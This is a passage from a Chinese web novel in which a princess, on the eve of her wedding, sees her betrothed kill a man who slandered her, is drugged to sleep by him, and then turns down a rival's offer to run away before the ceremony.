被戳中心事,容钰有些心虚地缩了缩脖子,她的确有些想念许怀鹤,也不知许怀鹤这一世突然被推上了监国的位置,处理那些事务累不累。 她上前拉住桂嬷嬷的臂弯,软声撒着娇,保证自己绝不会偷偷去见许怀鹤,软磨硬泡,最终还是让桂嬷嬷心软松了口,允许她出门玩一玩。 “但殿下需得戴上帷帽,带上护卫,千万不要让别人认出了您的公主身份。”桂嬷嬷叹了口气,“近来京城不太平,国一日无君,便一日不安稳,殿下还是得小心些,难免会有人心怀不轨。” 容钰的脸上浮出浅浅的酒窝,笑容明媚:“好,我记得的。” 终于能够出门,容钰迫不及待地戴上了桂嬷嬷递过来的帷帽,白色的轻纱垂下,一直到腰间,遮去了容钰艳丽的面容,也遮住了她曼妙的身姿,看起来就是一位普通的闺阁小姐,绝不会引起别人的注目。 护卫容钰便只带了两个 ,带多了反而会引起别人的怀疑,春桃和青竹一如既往地守在她身边,送她上了马车,缓缓离开公主府,去了往日京城最繁华的街道,进了人声鼎沸的酒楼。 在容钰离开公主府的同一时刻,便有暗桩向皇宫里递了消息,许怀鹤半撑着额头坐在龙椅上,身旁是大气也不敢出的大太监,他微微偏头看向下属:“让人暗中看护着。” 下属立刻领命:“是。” 这几日下来,大太监已经完全看清了形势,许怀鹤的所作所为并非一时兴起,而是早有图谋,对方在这宫中,不,甚至在这整个大夏中的势力让他心惊胆战,许怀鹤早已暗中控制了一切,除了他,谁都坐不稳这个新帝的位置。 许怀鹤简直就是天生的帝王,雷厉风行,心狠手辣,但又知道恩威并施,软硬皆有,帝王的制衡之术他得心应手,原本就服气他的人自然无所不应,而那些不服气,还想着以他的身份闹事的人被收拾了这几日,也再也无话可说,全都歇了心思。 看看王家的下场吧,王老县君当年发现先朝太子有孩子,但带着军队去找的时候却忘了说,那孩子不见了,她也不敢再声张,生怕自己的功劳没了,带着这个秘密做了这么些年的县君,两个儿子也跟着升官,风光了这么多年,最后还不是被夺了一切? 龙椅上如今这位可够狠,也够有手段,能让王老夫人冒着死的风险出来,为他作证他就是先朝太子的遗孤,又能在利用完王老夫人之后,甩出王家贪污,草菅人命的种种罪证,罢了王家两个老爷的官,让王家全家流放,王老夫人也被夺了封号,做回了村妇。 许怀鹤简直就是一位完美的帝王,如果他够开明,那就是无数臣子一心想要报效的明君,他看上去毫无缺点,也毫无软肋,但大太监却知道,有一个人在许怀鹤的心中占据了极重要的位置,排在了一切之前—— 那就是昭华公主殿下。 都说英雄难过美人关…… “都说英雄难过美人关,如今这位不也是么?”酒楼里,有人已经喝的醉醺醺,两颊通红,笑眯眯地对着面前的人挥了挥手指,“镇国公府这回又赌赢了一次,可真是命好,又能风光几十年。” 对面的人也喝大了,他笑道:“如今这位的手段可不是你我能猜到的,万一这美人关是假,利用美人是真呢?昭华公主的背后可是镇国公府,镇国公手握军权,这位也得掂量掂量,但娶了昭华公主可就不一样了。” 就连旁边的络腮胡也开始搭腔:“可不是么,昭华公主殿下虽美,但比起权势来说又算得了什么?我倒是觉得这位娶了昭华公主,意在折辱。” 络腮胡拍了拍桌子:“你们想想,昭华公主原先是怎样嚣张跋扈?我听说她当初还专门点了那位做夫子,想必那位在做夫子的时候,没少被昭华公主折腾羞辱,娶昭华公主恐怕是为了报复呢。” “等那位成了皇帝,万人之上,昭华公主还敢嚣张?”络腮胡哈哈一笑,“肯定是伏低做小,极尽巴结,卑微地侍奉那位了!指不定还要用勾栏手段……” 从络腮胡开口起,青竹就提心吊胆,生怕公主殿下把这些人的话听进了耳朵里,信了他们的话,觉得国师大人就是这么想的,做公主殿下的驸马只为报复羞辱,并不爱公主殿下。 她紧张地盯着公主殿下脸上的神色,在听到络腮胡口中的荤话时,又猛地转头,怒目圆瞪,忍不住就要上前动手,让络腮胡闭嘴。 容钰原先并没有把这些人的胡言乱语放在心上,她相信许怀鹤并不是那样的人,许怀鹤对她的真心她都清清楚楚,再加上有上一世的经历,她更相信许怀鹤是真的深爱自己,哪怕在自己死后都要为自己报仇,拼了命也想复活自己,所以这些话人的话根本动摇不了她分毫。 但络腮胡的话实在让人生气,容钰皱眉起身,拉着帷帽,不想多事,也不想暴露自己的身份,带着气愤的春桃和青竹离开了酒楼,不再去听那些污言秽语。 春桃气得跺脚,频频回头,想回去和那几人争论,青竹也攥着拳头,想给那几人一人一拳,将他们打的满地找牙,再也不敢乱说话。 容钰看着她们气红了脸,没忍住笑了声:“先前说我跋扈,坏我名声的人那么多,你们都要一一计较?” “我都习惯了,”容钰摸了摸轻纱,嘴角放平,像是叹气,“越是反驳,他们反而越是大声,觉得自己说对了。”【你现在阅读的是 】 60-70 第61章 第61章反正她也逃不掉了。 起初,容钰听到外面有关自己的那些谩骂时,也真心实意地生过闷气,还让人去帮自己辩解,可帮她说话的人一旦表明了公主府的身份,其余人便纷纷用鄙夷的眼光看着,越发觉得她行为不端,心思恶毒。 如此种种,收效甚微,外面的流言愈演愈烈,那段时日她甚至都不敢出门,生怕行人看向她的目光都是带着厌恶和仇恨的。 春桃当然也知道公主殿下以前是怎么过来的,更加心疼气闷,忍不住掉了眼泪,用袖子抹了抹,还是气不过,心想以后再遇到这几人,一定要狠狠修理一番他们! 青竹的眉眼间全是怒火,心想着一定要把这次的消息告诉国师大人,这几个人居然敢对公主殿下口出狂言,没有一丝敬意,敢在背后妄议公主殿下,真该死! 容钰并不知身侧的两人心里在想什么,她回想着往日的情形,从那以后,她便知道什么叫做人言可畏,索性捂住耳朵,不闻不问,任由他们去说,哪怕是圣人,都有人对圣人不敬,她又何必去计较这些? 任凭那些人怎么说,她也还是大夏的公主,等许怀鹤称帝,她就是皇后,依旧是最尊贵的女人,一国之后,母仪天下,难道那些人还敢像以前一样明目张胆地妄议她吗? 容钰想着想着就把自己哄好了,她坐进马车里,脱了帷帽,轻轻揉了揉自己的脸颊:“回去吧。” 她也没有继续在外游玩的兴致了,等她和许怀鹤成了亲,再让许怀鹤陪她出门。听说前不久有人从外番买了几只极其珍贵的白色孔雀,若是对方肯割爱,她也想买一只养在公主府里。 马车没往前走多久,容钰就听到路边传来一阵哭喊声,没忍住挑开车帘往外瞧了一眼,发现是刑部的人带着御林军正在抄家。 这一幕和那天在刘府门口发生的何其相似,容钰愣了愣,又抬头看了看门匾,发现这是陈家,也就是皇贵妃的母家,心中顿时了然。 陈家在京中横行霸道已久,仗着皇贵妃得宠,在朝中拉帮结派,有不少小官员都屈服在他们的威逼利诱之下,欺男霸女的事也没少做,有这样的下场也是活该。 听说那陈家小公子好赌,还喜欢强迫别人去赌,害了不少人,倒是让赌坊赚了个盆满钵满,这会儿正趴在地上痛哭流涕,被刑部的人压着求饶,完全失去了往日的威风。 皇贵妃一倒,陈家倒霉是必然的,路边有不少看好戏的人,也有曾经被陈家欺负过的人在拍手叫好,对着刑部的官员连声道谢,而这一次刑部带头的人不是闻锐达,一开口就将功劳全都推给了国师大人许怀鹤。 围观的百姓于是更加感恩戴德,还有人跪了下来,对着皇宫的方向不停磕头,似乎所有人都在期望许怀鹤能马上登基,迎接明君圣主,和上一世的情形同样相似。 接下来的事没什么好看的,陈家被抄家之后,多半也会被流放,想到皇贵妃和永宁的死,容钰轻轻叹了口气,放下车帘不再去看这些,默默捂上胸口,再次感叹了一句恶人有恶报。 又在府中熬了几日,终于等到大婚前这天,这日一早,公主府上似乎就笼罩着一层浓浓的焦虑,上到容钰本人, 下到端茶倒水的小丫鬟都莫名不安,手脚都不知道往哪里放,做事也不利索了。 春桃和青竹心中一直想着明日的大婚,要准备的东西来来回回检查了好几次都不放心,桂嬷嬷手里拿着明日大婚用的遮面团扇,往上面补了最后一朵金线绣的山茶花,对她们笑道:“先皇后出嫁前,我也如你们这样慌张,糊里糊涂就跟着小姐离了家。” “我原先想着,国师大人是来做殿下的驸马的,以后也会住在咱们公主府里,殿下就不用去一个全然陌生的地方,不用好长一段时日才能安稳下来。”桂嬷嬷说着就叹了口气,“可如今,眼见国师大人就要成为新帝了,咱们公主殿下要做皇后,又需得住回皇宫里。” 公主殿下在那牢笼一样的皇宫里待了十五年,先皇后早逝,殿下在宫里虽然没受明面上的欺负,但暗地里却受尽了冷待,父皇不爱,姐妹排挤,这才在外面自由自在玩了不到半年,就又要回到皇宫去,被困在那一方小小的天地里。 桂嬷嬷说着,心疼极了,她放下手中的针线,抬起团扇,在日光的照耀下,上面红色的镶金山茶花精细繁复,每一片花瓣都栩栩如生,娇艳若滴,若是拿着扇子的人容貌稍微浅淡一些,都压不住这样的华贵。 还有一些话,桂嬷嬷没说出来,只能压在心底,如果国师大人只是公主殿下的驸马,那国师大人的心中就只能有殿下一人,绝无可能有旁的妻妾,要一心一意,终身伺候公主殿下。 可国师大人若是摇身一变成了皇帝,那情形就大不相同,皇帝的心中怎么可能只有一人?他的心中要怀揣家国天下,儿女情长都是次要的,不说每隔两三年,每年都选秀女入宫也不逾矩,后宫越充盈,子嗣越多才更好。 谁敢要求一位帝王终生只有皇后一人作伴?那些大臣巴不得把自己的女儿送入宫中,得到帝王的宠幸,连带着自己也多得帝王的眷顾,若是家中出了一位像皇贵妃那样的宠妃,一人得道,鸡犬升天,全家都跟着荣耀富贵起来,谁不想赌上一把? 给皇帝送女人的人只多不少,桂嬷嬷心中更加担忧,只希望真有那么一天,国师大人能看在公主殿下旧日的情分上,心里始终能给公主殿下留着一席之地,不要像如今的陛下…… 桂嬷嬷忧低落的心绪也影响了春桃和青竹,两人更加焦躁,春桃送茶水的时候不小心泼了自己一身,惊了容钰一跳,连忙让春桃和青竹都去休息,自己不用她们伺候。 往日乖巧的雪团今日也不知怎的格外烦躁,四处跑跳,尖利的爪子刮花了一匹流云锦,小丫鬟们心疼的不行,捉住它就要为它剪指甲,免得不仅又抓坏了布料,还抓伤了公主殿下。 雪团立马不乐意了,一边喵呜叫着,一边奋力扭动着圆滚滚的身躯,从小丫鬟的手里逃了出来,又是一阵上蹿下跳,屋里的陈设被它撞的东倒西歪,还差点摔了价值百两的缠枝青瓷瓶。 已经梳洗完毕的容钰轻轻打了个哈欠,但并没有多少睡意,一想到明日就是自己的大婚,就有些睡不着,她看着雪团蹿出屋外,对着手忙脚乱的小丫鬟们道:“雪团不愿就算了,我去抱它回来。” 小丫鬟们应声,忙着收拾屋里的一片狼藉,又忘了春桃和青竹姐姐如今没在殿下身边伺候着,竟然让公主殿下一个人出去了。 虽然已是初春,但夜里依旧冷的如同深冬,容钰拢了拢裹在外面的大氅,温暖又厚实的内里暖烘烘的,狐裘毛边蹭着脸颊,她顺着廊下的灯笼,还有雪团的叫声,一路穿过了内院,来到了外墙边。 雪团似乎也意识到自己跑远了,站在墙上,有些不安地小声喵呜叫着。容钰左右看了看,发现这边的外墙下有一个木头桩子,也不知是随意扔的,还是侍卫们平时练武用的,她站上去刚好够到墙头。 容钰试了试距离,将大氅裹紧,又提了提裙摆,将棉鞋踩上去,伸出手将墙上的雪团接下来抱在怀中,又慢慢从木桩上跨步下来,将雪团放在地面上。 雪团一落地就跑了个无影无踪,容钰叫也没叫回来,她有些无奈地在原地停了一会儿,又回头看了一眼外墙,心中突然微微一动。 公主府和国师府也就只隔着两堵墙而已。 要准备明日的大婚,许怀鹤已经从宫里回到了国师府,她今早就听见了外面的动静,也知道许怀鹤明日会骑着马,从国师府启程,绕着京城中的三条街道走一圈,回到公主府门口迎娶她,一路都要撒花撒碎银,给每个人沾沾喜气。 要不然……她翻过墙头,去国师府和许怀鹤偷偷见一面?或者远远看一眼许怀鹤也好,让自己心里踏实一些。 虽然嬷嬷说了,新婚夫妻大婚前不能见面,但那是男方不能见女方,也没有说女方不得见男方啊。 容钰鼓了鼓脸颊,心想自己只是悄悄看一眼,不让许怀鹤发现,应该没什么大不了的,她只是想知道许怀鹤是不是和自己一样寝食难安,对明天的大婚满怀期待。 到底是十五岁的小姑娘,童心未泯又天真至纯,容钰又一次踩上了木桩,奋力爬上外墙坐好,朝着对面的院墙缓缓伸手。 说来也巧,这两边的院墙是国师府和公主府离得最近的地方,只要半臂的距离就能跨过去。 这半臂的距离对于习武之人,或者普通男子来说轻轻松松便能跨过,但对容钰来说却十分困难,她本就娇弱,力气也小,能够爬上外墙就已经累得气喘吁吁,这点距离对她来说犹如天堑,咬牙试了好几次,才颤微微地伸出指尖搭上了对面的院墙,在内心不断打着气,终于鼓足勇气跨了过去。 成功坐上对面的院墙墙头,容钰狠狠松了一口气,她不知道这是国师府中的什么地方,本想慢慢爬下来,在院中转一转,试试能不能找到许怀鹤,但她刚想从墙头下来,就听到不远处有人发出一声凄厉的惨叫。 那声惨叫又短又急,容钰愣在原地,一时还以为是自己听错了,她僵硬地转动脖子,缓缓朝着声音发出的地方看去,隔着张牙舞爪的枯枝,借着冷白的月光,她看清了那棵枯树下的人—— 前几日在酒楼大放厥词,侮辱惹怒她的络腮胡男人,此时正倒在许怀鹤脚下,脖间鲜血淋漓,双目惊恐地瞪着,已经没了气息。 而那位素有清冷君子之称的国师大人,她高洁脱俗的驸马,未来的明君帝王低头,慢条斯理地擦净了指间的血,忽而抬眼看过来,带着一如既往的淡笑,朝她伸出手: “殿下,看够了吗?” 许怀鹤的笑漂浮在嘴角,漆黑的眼眸里是一片漩涡,似乎能够吞噬所有。 他计划好了一切,唯独今夜在意料之外,暗桩都是一群废物,他们怎么能让殿下孤身一人,突然出现在国师府的墙头,而自己没有得到任何消息? 等他意识到有人出现时,已经来不及了,刀锋划过了男人的脖子,鲜血溅红了他白色的衣袍,血腥,残暴,一击毙命,还是私刑,让公主殿下看到了所有。 许怀鹤心口震颤,一直美满的谎言突然被戳破,完美的假面被当面撕开,他低头擦着指缝的血,短短几息内,他想了很多借口,但全都没有用。 他觊觎昭华公主殿下已久,眼看着就要梦想成真,让公主殿下永远离不开自己,却在这时亲手毁了一切美好的虚幻的表象,让纯真无暇的公主殿下看到了自己残忍的一面。 走投无路之时,许怀鹤突然又冷静下来。 他漠然地想,既然昭华公主殿下喜欢清冷君子,喜欢正直好人,那他装上一世,也不是不行。 但如今,公主殿下还是看见了他藏起来的那一面,而他无可辩解,也再无从隐藏。 既如此,那自己便也不必再收起獠牙和恶劣—— 反正她也逃不掉了。 第62章 第62章我不走。 夜色如墨,滂沱春雨砸在湿润的泥土上,马蹄溅起朵朵水花,沾湿了闻锐达玄色的衣袍。 他走不了官道,过不了盘查,再加上回京太急切,干脆走了更近的小路,这段路程泥泞又崎岖,冰冷的雨水拍打着他的面庞,将他浑身都淋的湿透,斗笠根本起不了作用,狼狈至极,脸上也尽是疲倦的神色。 但是他不能停,从江南走到现在,他已经跑死了三匹马,闻锐达胸腔里发出焦灼的轰鸣声,山风卷起他湿透披风,他猛地抬头,看向即将跨越过去的这座高山。 就在马蹄踏破最后一道泥泞山阶时,天光乍破,山的两面竟是截然不同的天气,在他的面前,旭日初升,金色的光芒像利剑一样穿透层层白雾。 他骑的这匹马也终于支撑不住,力竭而轰然倒地,瞳孔渐渐散开,活生生累死在路上,闻锐达从泥里爬起来,他抬手抹了抹自己的脸,已经分不清是雨是汗,没有了马匹,他就只能徒步前行。 好在京城就在眼前,皇城伟岸连绵的轮廓逐渐印在他的眼眸中,闻锐达有些恍惚地眨了眨眼,只希望一切还来得及,希望自己能赶在昭华公主殿下嫁给许怀鹤之前,带昭华公主离开。 许怀鹤果然狼子野心,没想到他竟是先朝太子的遗孤,但闻锐达并不相信,觉得这也是许怀鹤捏造出来的身份,只是为了方便谋反,能够名正言顺地夺取皇位而已。 闻锐达握紧双拳,眼中有怒火闪过,他这次回京,势必要将昭华公主带出火坑,同时接发许怀鹤的种种罪行,戳穿他的阴谋! 无诏回京本就是大罪,现如今又是许怀鹤监国,他偷偷从江南赶回京城的下场可想而知,但这是他最后的机会了,等许怀鹤登基称帝之后,他就再也无法轻易接触到公主殿下,带昭华公主殿下逃跑,所以他必须赌这一把! 耳边似乎已经响起了热闹的锣鼓声,闻锐达咬牙,支起身体,目标明晰,稳步朝着山下走去,身形也隐入了山林之中,和黑色的枯木几乎融为一体。 “殿下还睡着吗?” 公主府内,春桃有一些担忧地往里看了看,隔着床帐,床榻上的人影模糊,只能看清一个小小的鼓包。 青竹浑身僵硬,她猛地挺直了腰背,又不敢表现出丝毫的异样,勉强对着春桃笑了笑,安慰道:“公主殿下昨夜兴许是太激动了,一宿没睡好,天刚亮的时候才睡着,多睡会儿也无妨,反正离吉时还早着呢。” “哦,”春桃点了点头,她也有一些紧张地搓了搓手,“那你继续守着殿下吧,我先出去看看。” 青竹目送春桃出了门,狠狠松了一口气,跌坐回椅子上,偏头看了一眼里间依旧还在昏睡中的公主殿下,从昨晚就心惊肉跳的心脏此刻依旧蹦个不停,寝食难安。 昨夜她和春桃被公主殿下特许去休息,不用守夜,然而她才刚刚和衣躺下片刻,公主府里的暗桩就急急忙忙地赶过来叫醒了她,让她赶紧出去。 她尽量放轻了动作,没敢惊醒身旁的春桃,绕过长长的院廊,避开耳目来到外院的院墙边,一转头就看到国师大人抱着双眼紧闭的公主殿下,像一棵孤高的松,几乎和夜色融为一体。 国师大人立在外院的墙下,平静地看过来,对上国师大人的眼神,青竹浑身像结了冰一样,瞬间被冻在原地,忍不住狠狠打了一个寒颤。 国师大人向来是喜怒不行于色的,自从不再隐藏身份,大大方方地立于人前,开始监国之后,身上的威势一天比一天重,仅仅一个照面,青竹就忍不住想要下跪行礼。 许怀鹤此刻身上散发出来的寒意远别之前任何一次都要深重,青竹后背起了一层冷汗,听到国师大人开口,只淡淡地说了四个字:“她知道了。” 而这四个字对于青竹来说,不亚于晴天霹雳,犹如一道惊雷直直命中了她的胸口,让她没能站稳,踉跄了一步。 公主殿下知道了……?所有的一切,包括国师大人的真实面目,国师大人的步步为营,一直以来的伪装欺瞒,公主殿下全都清楚了? 青竹木愣愣地站着,她微微张着唇,想问什么,但又什么都不敢问,生怕得到让自己万劫不复的答案。 她用尽了平生最大的定力稳住自己,从国师大人的手里接过了轻飘飘的公主殿下,只看了一眼公主殿下苍白的脸色就不敢多看,闷着头将公主殿下带回了卧房,只对上来询问的小丫鬟说公主殿下睡着了。 而此刻,梦中的容钰睡得并不安稳,她的眉头微微蹙着,侧躺在被窝里缩成一团,手臂抵着膝盖,蜷缩在胸前,巴掌大的小脸上满是不安。 梦里反反复复都是许怀鹤用刀杀完人之后,忽然又抬头朝她看过来,对她伸出手的那一幕,哪怕是在睡梦中,容钰都在轻轻地打着颤,双手握得更紧,缩成一团的身体将被子隆起一个小小的鼓包。 许怀鹤朝她伸出手的那一刻,她已经完全呆住了,不知道作何反应,原本坐在院墙上的身体也没能稳住,前后晃了晃,大氅翻飞,像一粒轻飘飘的蒲公英种子那样坠了下去。 脑海中的思绪和心绪一样杂乱,容钰一颗心狠狠颤动,许怀鹤怎么会是这样的人?他怎么能在杀完人之后,还能云淡风轻地对她笑,对她伸出手,让她过去? 在即将落地前,容钰紧闭双眼,她浑身无力,被吓得四肢酸软,还以为自己就要这么摔在地面上,可她再一次被许怀鹤温暖宽阔的怀抱接住了,沉檀香气环绕着她的鼻尖,她不愿面对现实,颤抖着睫毛,不想睁开眼。 她并非没有见过杀人,那日宫宴遇刺,就有刺客当着她的面倒下,尸首分离,鲜血甚至溅到了她的裙摆,她被吓到麻木,不能动弹,五感都像被屏蔽了,又有许怀鹤抱着,捂住她的眼睛,所以后来想起,也并不觉得害怕,只记得许怀鹤身上的香气还有温暖的怀抱,安心早已大过了恐惧。 可这一次,杀人的人变成了许怀鹤,暗色的血迹在他指间流淌过,恶心又黏腻,哪怕已经被帕子擦干净了,却依旧如同附骨之疽,就连许怀鹤此刻抱着她,她都觉得许怀鹤的双手浸满了鲜血,也将她一并拖进了红色的血池里。 在一片令人窒息的沉默之中,容钰颤抖着,心里甚至产生一丝细微的祈求,希望许怀鹤能够说点什么,哪怕是骗自己也好,只要给自己一个合理的解释,告诉她,她看到的并不是真的,许怀鹤依旧是那个谦谦君子,高岭之花。 然而她并没有得到许怀鹤的任何解释,只听到了一句轻的像是叹气一样的耳语,呼出的气息吹热了她的耳朵:“睡吧。” 空气中突然涌起一股甜腻的香气,浓郁,芬芳,无处不在,容钰只吸了一口便理智全无,猛地昏睡过去。 在失去意识之前,她知道这是许怀鹤用了某种让人昏睡的迷药,但她已经神志不清,后来的事也毫无记忆,此刻依旧被困在梦魇之中,无法脱身。 眼前的景象在不断变换,她一会儿坐在铜镜前,铜镜里的自己已经梳起了高高的妇人记,带上了沉甸甸的朱红色凤钗和头冠,即将嫁人,一会儿又飘在空中,每一步都像踩在云端,耳边是宫人的窃窃私语,说着许怀鹤是怎样残暴,怎样心狠手辣,杀人不眨眼。 她愣愣地看着,任由自己飘荡,无依无靠,无法停泊,有眼泪落下来砸在手背上,她已经分不清是滚烫还是冰凉,只是想着一切似乎早就有迹可循。 可她总是不愿意相信宫人们说的话,觉得那些人兴许也只是道听途说,并非亲眼所见,也没相信闻锐达的劝告,只觉得闻锐达那封信上的字字句句都是对许怀鹤的诋毁。 是自己太容易轻信,信了许怀鹤装出来的好皮囊,好品性,可是事到如今,她费了多少心思和功夫,终于走到今天这一步,她就算知道了许怀鹤表里不一,又能如何呢? 她马上就要嫁给许怀鹤了,许怀鹤比上一世更快成为未来的新帝,她的命运和镇国公府的命运都把握在许怀鹤的手里,她不嫁给许怀鹤,又能嫁给谁?未来又该何去何从? 她只能默不作声,不闻不问,接受自己选择的路,一直走下去。 “殿下,殿下!” 有熟悉的声音在耳畔响起,容钰挣扎着从梦魇中醒来,她迷迷糊糊地睁眼,却看到了她最意想不到的人。 闻锐达已经换了一身衣裳,依 旧是玄色,方便行动又隐蔽,勾勒出他宽阔的臂膀,风尘仆仆,眉眼之间难掩倦色,但双目却亮的惊人,因为太过激动,手臂都凸起了青筋。 闻锐达抬手掀开床帘,看着容钰苍白消瘦的脸庞,眼里全是心疼和坚定,低声快速道:“殿下,守门的侍女已经被我打晕了,但我待不了多久就会被发现,我们得赶紧走。” 走?容钰迷茫地看着闻锐达,一时没能分清这究竟是现实还是梦境,她呆呆地开口,声音沙哑:“走去哪?” “去许怀鹤那个小人找不到我们的地方。”闻锐达的目光有些痴迷地落在容钰的脸上,贪念地看着久别重逢的心上人,“殿下,和我走吧,许怀鹤不值得您喜欢。” 一窗之隔,许怀鹤眸色漆黑,无声地冷笑。 他背靠着窗棂,但只要微微侧头,便能将屋内的情形,特别是床帐前的两人看的一清二楚。他看到昭华公主殿下探出身子,扶着床沿,和闻锐达只有半臂的距离,而闻锐达半跪在地上,仰头看着昭华公主殿下,目光虔诚又炽热,好似最忠诚的护卫。 说他是小人,那闻锐达在大婚这天想要拐走新娘,又算得上什么正人君子吗? 有足以掀翻整个京城的风暴在许怀鹤眼中悄然聚集,他依旧站在原地,双手却不自觉用力,右手握住剑柄,焦躁地抚摸着剑柄上镶嵌的花型珍珠。 只要闻锐达敢带着公主殿下出这个院子,他就一剑捅穿,当场杀了闻锐达。 公主殿下已然知晓他是怎样的人,那又如何?正好他也不必再隐藏本性,只要过了今日,等公主殿下成为他的妻子,等他尽快登基,公主殿下就只能一辈子待在他的身边,哪里也去不了。 “我不走。” 眼中的风暴骤歇,许怀鹤错愕地愣了一息,听到容钰低声,带着颤音重复了一遍:“我不走。” 第63章 第63章恩爱不离。 一室寂静。 有微微的风拍打着窗纸,吹起了残余在夹缝里的红色窗花,像冬日最后的红梅花瓣一样飘飘扬扬,跌落在许怀鹤的袖边。 今日大婚,许怀鹤早已换上了红色的婚服,他身着深红织金过肩麒麟纹的圆领袍,内里是白纱中单,领口缀着赤金螭纽,腰间束着玉革带,下袍还依着他的喜好和身份,特意绣了展翅欲飞的白鹤。 许怀鹤轻轻抬手,修长的食指微动,弹去了落在他袖边的红纸,沿着白鹤的尾羽飘落在地上,原本已经到暴怒边缘的心绪忽地平静下来,他甚至隐隐有些得意地翘了翘嘴角。 你看,公主殿下心中终究是有他的,哪怕已经知晓他的真实面目,也依旧不会离他而去,而是选择留在他的身边。 他侧过脸,挺拔的鼻梁宛如起伏的山峦,眼神中带着不易察觉的挑衅,轻蔑地看向半跪在地上,一脸惊愕的手下败将,从头到尾都输的彻底的闻锐达。 闻锐达是他放进来的,如果不是他故意,闻锐达连公主府的大门都进不了,早就被乱箭射死了。 他想看看闻锐达的胆子到底有多大,又要在公主殿下面前进什么谗言,也想试探昭华公主殿下的态度,若是公主殿下真的接受不了他的本性,想从他的身边逃离,和闻锐达远走高飞,那他就只能按照最开始的谋划,等登基之后就将公主殿下囚//禁在身侧。 迟早有一日,公主殿下会接受他,会心甘情愿地留下来。 听到容钰的话,闻锐达比许怀鹤还要错愕,他不敢置信地看着容钰沉静的神色,有些气急:“事到如今,殿下竟然还看不清许怀鹤是怎样的人吗?” 容钰搭在床沿边的手有些无助地攥了攥,她被闻锐达的话刺到,但心中的苦楚和迷茫无法诉说,前世发生的事说出来有谁会信? 她要是走了,闻锐达真的能够护住自己吗?能够帮扶镇国公府吗?许怀鹤又能轻易放过自己吗? 不能,不能,她不能走,除了留在许怀鹤的身旁,她没有别的路可选。 “你走吧。”容钰撇过头,没有回复闻锐达的质问,而是轻轻开口催促,“趁青竹还没醒过来,趁其他人还没发现你,你赶紧回江南查案吧,我就当你今日没有来过。” “江南还有什么案可查?!”闻锐达猛地起身,他一脸失望痛心,带着深深的愤怒,“皮影戏不过是许怀鹤自导自演的一出戏,去江南又能查出来什么?等他登基,这案子更是成了悬案,他心胸狭隘,我定会被他按在江南蹉跎一辈子,一辈子都不能回京,一辈子都不能再见您!” 没错,许怀鹤微微挑了挑眉,闻锐达还算聪明,自己就是这么打算的,等自己登基,就将闻锐达按在江南,不准他回京。 若是闻锐达擅自回来,那就是大罪,随手都能够卸任他刑部侍郎的官位,再找个把柄给他安个罪名,就能让他彻底脱离朝堂,再也无法靠近昭华公主殿下。 容钰微微张唇,她下意识地想反驳闻锐达,说许怀鹤并不是那样的人,但想到昨夜许怀鹤令人心惊的暴戾模样,她又紧紧抿住唇,内心动摇。 见昭华公主殿下偏头不说话,闻锐达也明白了昭华公主殿下心意已决,他往后倒退了两步,勉强稳住身形,带着深深的疲惫和无力,哑声道:“好,我明白了。” “殿下珍重。”闻锐达最后朝着容钰深深一拜,眼底有热意涌上来,他狠狠低着头,不愿意让容钰看见他眼角的泪,“若殿下有朝一日改变心意,臣还是如同往日一般,等着殿下。” 闻锐达说完起身,他不敢再看容钰,生怕自己的贪恋牵扯着他留下来,强行不顾容钰的意愿带走她,更怕从容钰的眼中看到不屑与厌烦,觉得他是多管闲事,觉得他今日本就不该来。 许怀鹤再次冷冷地扯了扯嘴角,他不会给闻锐达再来的机会了。 闻锐达走了,容钰坐在床边,注视着闻锐达略有些狼狈踉跄的背影,缓了许久才慢慢回神,轻手轻脚地下床穿好鞋,来到被打晕放在椅子上的青竹面前,用帕子沾了些冷掉的茶水,轻轻洒在青竹的面颊上,青竹一个激灵,立马醒了过来。 青竹晕过去之前,依稀记得有个漆黑的人影闯入了公主的卧房,劈在她的后颈上,她没有任何还手之力就晕了过去。 这会儿看到公主殿下安然无恙,她先是松了一口气,又警惕起来,她并不觉得那人会是国师大人,国师大人想见公主殿下,没必要将她打晕,只需要让暗桩给她递个消息,她自然会避出去,那人必定是贼人! “青竹,”容钰握住青竹的手腕,低声道,“没事的,那人已经走了,不打紧,你和春桃去叫嬷嬷过来为我梳妆吧。” 听到公主殿下这么说,青竹愣了愣,还是应了声“是”,她刚想出门,一转头正正好好对上了站在窗边的国师大人,对方深深地凝视着背对他的公主殿下,并没有多留,在公主殿下察觉前就转身离去。 青竹这下彻底懵了,她眨了眨眼睛,已经分不清打晕自己的到底是不是国师大人了。 但既然国师大人在这里,公主殿下想必也没出什么事,肯定安然无恙,也没受惊,青竹安心地出了门,把春桃和桂嬷嬷叫回来,一起为公主殿下准 备大婚的事宜。 容钰在铜镜前坐下,昨夜许怀鹤对她用了药,她虽然睡得沉,但并没有睡好,眼下有几分倦色,而桂嬷嬷只当她是太紧张,并未觉出异常,慈爱地为她梳着墨色的长发。 为公主殿下上了这么多次妆,春桃第一次手有些发抖,她稳住心神,细细地为容钰敷了珍珠粉,蘸取山茶红凝成的胭脂膏晕染双颊,额间贴好金箔花钿,黛眉轻描,细长微弯,口脂同样也是山茶红,眼尾也晕开了一些,显得更加艳丽动人。 往日的发髻也换成了高髻,青丝绾起用点翠步摇垂珠簪好,缀着金丝嵌翡翠,随着春桃愣愣的一声“好了”,容钰抖了抖翩飞的睫毛,轻轻睁开眼,看向铜镜中陌生的自己,一时有些恍然。 桂嬷嬷热泪盈眶,她站在容钰身后,看着铜镜中美艳不可方物的公主殿下,当初那个偷偷吃酥点的小姑娘一晃神就成了待嫁的新娘,一点点褪去了那些稚嫩,青涩和即将成为人妇的艳丽在容钰身上杂糅,成了这天下独一份的美。 容钰从桂嬷嬷的手中接过绣着山茶花的金线团扇,遮挡住自己的下半张脸,犹如面纱遮去了她娇艳的容颜,但那一双似水的眼眸依旧足以让人沉溺其中,只是轻飘飘的一眼,便会让人呼吸一窒,目光不由得随着她移动。 院内的人早已看呆了,容钰垂眸,缓缓向前走着,按照礼仪,她今日还得入宫去向父母拜别。 这条入宫的路她已经过了许多遍,从没有哪一次像今日这样迅速,好像一晃神一眨眼就到了皇宫里。 容钰换乘软轿,知道抬轿的人会将她送到父皇的床榻前行礼,但一想到那个男人的面容和所作所为,她就有些犯干呕,忍不住轻声道:“去坤宁宫。” 软轿旁,来接容钰的大太监顿了顿,女儿出嫁前竟然不去拜别亲生父亲,他知道这于理不合,甚至大逆不道,但完全不敢多言,公主殿下说什么就是什么,这可是未来的皇后娘娘,他千万得罪不起。 